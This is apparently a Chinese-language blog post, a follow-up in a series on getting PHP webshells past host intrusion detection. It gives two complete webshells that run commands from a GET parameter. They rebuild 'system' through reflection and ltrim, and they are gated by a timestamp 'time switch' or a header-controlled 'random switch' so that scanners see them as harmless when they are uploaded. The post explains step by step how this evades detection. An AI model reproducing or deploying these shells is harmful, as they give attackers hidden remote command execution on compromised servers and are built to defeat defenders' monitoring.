繼WEB安全--RCE--webshell HIDS bypass3的補充:
十三、時間開關
webshell:
<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}echo 'Default value: ' . ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>
原理:
核心位置
$n='F'
if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}
或運算符“||”也叫短路運算符,當前者成立就不會再判斷后者了
我們回過頭來看$da->getTimestamp()>=1725329100||$n='1' ,當$da->getTimestamp()>=1725329100為假,$n='1'就會執行賦值的操作,這時$n的值就由'F'變為'1',但是當$da->getTimestamp()>=1725329100為真,那么就不會執行$n='1'的操作,$n='F'的值就不變了。
我們的核心思想是:在上傳webshell給hids檢測時$da->getTimestamp()>=1725329100這個條件是假的,當然就不會被查殺,但是過了一段時間這個條件就為真了,我們這個時候訪問webshell就能執行命令了。
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
創建一個函數傳遞內容,再用反射獲取該函數
foreach ($function->getParameters() as $param)
遍歷取出內容
$param->getDefaultValueConstantName()
這里的參數為FSYSTEM
ltrim($param->getDefaultValueConstantName(),$n)
此時滿足時間條件,$n='F',ltrim從參數的默認值常量名中去掉前導的$n,也就是說FSYSTEM會變成SYSTEM,就能構成命令執行
十四、隨機開關
webshell:
<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}echo 'Default value: ' .
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>
原理:
大致原理和時間開關相同。
核心位置
$p = new ParseError($_SERVER[HTTP_A]);
$n='F';
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}
$p->getMessage()??100:指如果前者有值就取前者,反之取后者的值
mt_rand(1,10):在1-10的閉區間隨機取一個值
思考:如果在ParseError()中傳入55,那么$p->getMessage()的值就是55,也就是說mt_rand(55,55) ==>55,if(55==55 || $n='1')第一個條件為真就不會進行$n='1'的操作,$n='F',就能截取FSYSTEM中的F了。